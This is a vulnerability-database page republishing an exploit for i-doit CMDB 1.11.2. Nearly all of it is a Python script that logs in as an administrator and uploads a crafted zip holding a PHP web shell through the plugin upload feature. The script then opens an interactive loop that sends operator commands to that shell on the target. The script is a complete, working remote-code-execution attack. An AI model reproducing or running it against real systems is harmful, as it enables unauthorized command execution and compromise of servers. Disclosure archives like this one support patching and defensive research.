Lucene search
K

i-doit CMDB 1.11.2 Remote Code Execution

🗓️ 07 Dec 2018 00:00:00Reported by Ozkan Mustafa AkkusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

i-doit CMDB 1.11.2 Remote Code Execution allows authenticated administrators to upload arbitrary files to the main website directory. Upload a ".php" file inside a ".zip" file to achieve Remote Code Execution

Code
`# Exploit Title: i-doit CMDB 1.11.2 - Remote Code Execution  
# Date: 2018-12-05  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Contact: https://pentest.com.tr  
# Vendor Homepage: https://www.i-doit.org/  
# Software Link: https://www.i-doit.org/i-doit-open-1-11-2/  
# Version: v1.11.2  
# Category: Webapps  
# Tested on: XAMPP for Linux 5.6.38-0  
# Software Description : The IT-documentation solution i-doit is based on a  
# complete open  
# source configuration management and database. Using i-doit as a CMDB you  
# can manage your IT according to ITIL best practices and configurate the significant  
# components of your IT environment  
# Description : This application has an upload feature that allows an  
# authenticated user with administrator  
# roles to upload arbitrary files to the main website directory.  
# ==================================================================  
# PoC: Exploit upload the ".php" file in the ".zip" file to Remote Code Execution.  
# i-doit accepts zip files as a plugin and extract them to the main  
# directory. In order for the ".zip" file to be accepted by the application, it must  
# contain a file named "package.json  
  
#!/usr/bin/python  
  
import mechanize  
import sys  
import cookielib  
import requests  
import colorama  
from colorama import Fore  
  
print  
"\n############################################################################"  
print "# i-doit CMDB & ITSM 1.11.2 Remote Code Execution - Remote Code Execution #"  
print "# Vulnerability discovered byvAkkuS #"  
print "# My Blog - https://www.pentest.com.tr #"  
print  
"############################################################################\n"  
if (len(sys.argv) != 2):  
print "[*] Usage: poc.py <RHOST>"  
exit(0)  
  
rhost = sys.argv[1]  
  
# User Information Input  
UserName = str(raw_input("User Name: "))  
Password = str(raw_input("Password: "))  
  
# Login into site  
print(Fore.BLUE + "+ [*] Loging in...")  
br = mechanize.Browser()  
br.set_handle_robots(False)  
  
# Cookie Jar  
cj = cookielib.LWPCookieJar()  
br.set_cookiejar(cj)  
  
br.open("http://"+rhost+"/admin/")  
assert br.viewing_html()  
br.select_form(nr=0)  
br.form['username'] = UserName  
br.form['password'] = Password  
br.submit()  
  
title = br.title()  
print (Fore.YELLOW + "+ [*] You're in "+title+" section of the app now")  
  
# Arbitrary ".php" File Upload Records with multipart/form-data to RCE  
rce_headers = {"Accept":  
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
"Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",  
"Content-Type": "multipart/form-data;  
boundary=---------------------------13859713751632544601258659337"}  
rce_data="-----------------------------13859713751632544601258659337\r\nContent-Disposition:  
form-data;  
name=\"action\"\r\n\r\nadd\r\n-----------------------------13859713751632544601258659337\r\nContent-Disposition:  
form-data;  
name=\"mandator\"\r\n\r\n0\r\n-----------------------------13859713751632544601258659337\r\nContent-Disposition:  
form-data; name=\"module_file\"; filename=\"test.zip\"\r\nContent-Type:  
application/zip\r\n\r\nPK\x03\x04\x14\x00\x08\x00\x08\x00\x06\x89\x85M\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00  
\x00package.jsonUT\r\x00\x07\xcc\xdb\x07\\\xcc\xdb\x07\\\xcc\xdb\x07\\ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00\x03\x00PK\x07\x08\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00G\x87{M\x00\x00\x00\x00\x00\x00\x00\x00\xdc\x01\x00\x00\t\x00  
\x00shell.phpUT\r\x00\x07wM\xfd[7\x81\x07\\wM\xfd[ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00\x95\x91\xcbj\xc30\x10E\xf7\xfa\x8a\xc1\x18,\xd3\xe6\x0b\xd2G6I)d\x15\xb2+e\x10\xf2\xb8\x16\xd1#x\xe4<\x08\xf9\xf7:\x8d\xe3\xb8M\xbb\xe8JH\xf7\xce\xbdg\xd0\xc3\xf3\xbaZ\x8b4V\x86\xb14\x96\xe0\x11\x10g\xaf\xf3)\xe2XLx\xcf\x91\x9cLt\xe5B\x01\xcdG\x18m\xe1\xeaM\xf2o\x16\x15c\rw\xe6\x87!\xd5\xc19\xe5\x8b68\xc5\x97\xe9\xf2-\xd1\xaeH\xde\xc7B\x98\x12\xa4\xb6\x8a\x19ig8\xb2\xcc\x16TZ\xd2\xd1\x04?k\xfc\xd7\x99\xe59\x1c\x84\x00\x80\xb4\xec\x9e\xda  
O[\xb8\xf5\xca\xec\xcc\x92\xb5\xad\xc3\x81\xd1\x93\xf1\x9b\xb0\"yAiuq\x04\xb2L'\x84\x8b\xad\xa7\xd0\xcaZl\x98j<I\xa8\xeaZ\xed\xaf\x1c\xbf\xa9}\xf3=\x9c\xef}\xd3\xbf\xaa\xfe*\x19\xc4\xdf\xae\xd0Mt\xdf0\xd0\x8f\xe2\x13PK\x07\x08\xc6=\x06k\xde\x00\x00\x00\xdc\x01\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00\x06\x89\x85M\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x0c\x00  
\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\x00\x00\x00\x00package.jsonUT\r\x00\x07\xcc\xdb\x07\\\xcc\xdb\x07\\\xcc\xdb\x07\\ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00PK\x01\x02\x14\x03\x14\x00\x08\x00\x08\x00G\x87{M\xc6=\x06k\xde\x00\x00\x00\xdc\x01\x00\x00\t\x00  
\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa4\x81\\\x00\x00\x00shell.phpUT\r\x00\x07wM\xfd[7\x81\x07\\wM\xfd[ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x02\x00\x02\x00\xb1\x00\x00\x00\x91\x01\x00\x00\x00\x00\r\n-----------------------------13859713751632544601258659337--\r\n"  
  
upload = requests.post("http://"+rhost+"/admin/?req=modules&action=add",  
headers=rce_headers, cookies=cj, data=rce_data)  
# Upload Control  
if upload.status_code == 200:  
print (Fore.GREEN + "+ [*] Shell successfully uploaded!")  
  
# Command Execute  
while True:  
shellctrl = requests.get("http://"+rhost+"/shell.php")  
if shellctrl.status_code == 200:  
Command = str(raw_input(Fore.WHITE + "shell> "))  
URL = requests.get("http://"+rhost+"/shell.php?cmd="+Command+"")  
print URL.text  
else:  
print (Fore.RED + "+ [X] Unable to upload or access the shell")  
sys.exit()  
  
# end  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation